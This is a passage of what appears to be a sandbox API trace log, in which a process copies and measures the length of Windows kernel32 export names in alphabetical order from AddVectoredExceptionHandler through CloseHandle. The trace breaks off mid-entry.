[0046.466] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0046.467] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0046.467] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0046.467] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0046.467] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0046.467] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0046.467] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0046.467] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0046.467] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0046.467] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0046.467] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0046.467] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0046.467] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0046.467] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0046.467] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0046.468] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0046.468] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0046.468] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0046.468] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0046.468] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0046.468] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0046.468] lstrlenA (lpString="BACKUPREAD") returned 10 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0046.468] lstrlenA (lpString="BACKUPSEEK") returned 10 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0046.468] lstrlenA (lpString="BACKUPWRITE") returned 11 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0046.468] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0046.468] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0046.468] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0046.468] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0046.468] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0046.468] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0046.469] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0046.469] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0046.469] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0046.469] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0046.469] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0046.469] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0046.469] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0046.469] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0046.469] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0046.469] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0046.469] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0046.469] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0046.469] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0046.469] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0046.470] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0046.470] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0046.470] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0046.470] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0046.470] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0046.470] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0046.470] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0046.470] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0046.470] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0046.471] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0046.471] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0046.472] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0046.472] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0046.472] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0046.472] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0046.472] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0046.472] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0046.472] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0046.472] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0046.472] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0046.472] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0046.472] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0046.472] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0046.472] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0046.472] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0046.473] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0046.473] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0046.473] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0046.473] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0046.473] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0046.473] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0046.473] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0046.473] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0046.473] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0046.473] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0046.473] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0046.473] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0046.473] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0046.473] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0046.473] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0046.473] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0046.473] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0046.474] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0046.474] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0046.474] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0046.474] lstrlenA (lpString="BEEP") returned 4 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0046.474] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0046.474] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0046.474] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0046.474] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0046.474] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0046.474] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0046.474] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0046.474] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0046.474] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0046.474] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0046.474] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0046.474] lstrlenA (lpString="CANCELIO") returned 8 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0046.474] lstrlenA (lpString="CANCELIOEX") returned 10 [0046.474] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0046.475] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0046.475] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0046.475] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0046.475] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0046.475] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0046.475] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0046.475] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0046.475] lstrlenA (lpString="CHECKELEVATION") returned 14 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0046.475] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0046.475] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0046.475] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0046.475] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0046.476] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0046.476] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0046.476] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0046.476] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0046.476] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0046.476] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0046.476] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0046.476] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") 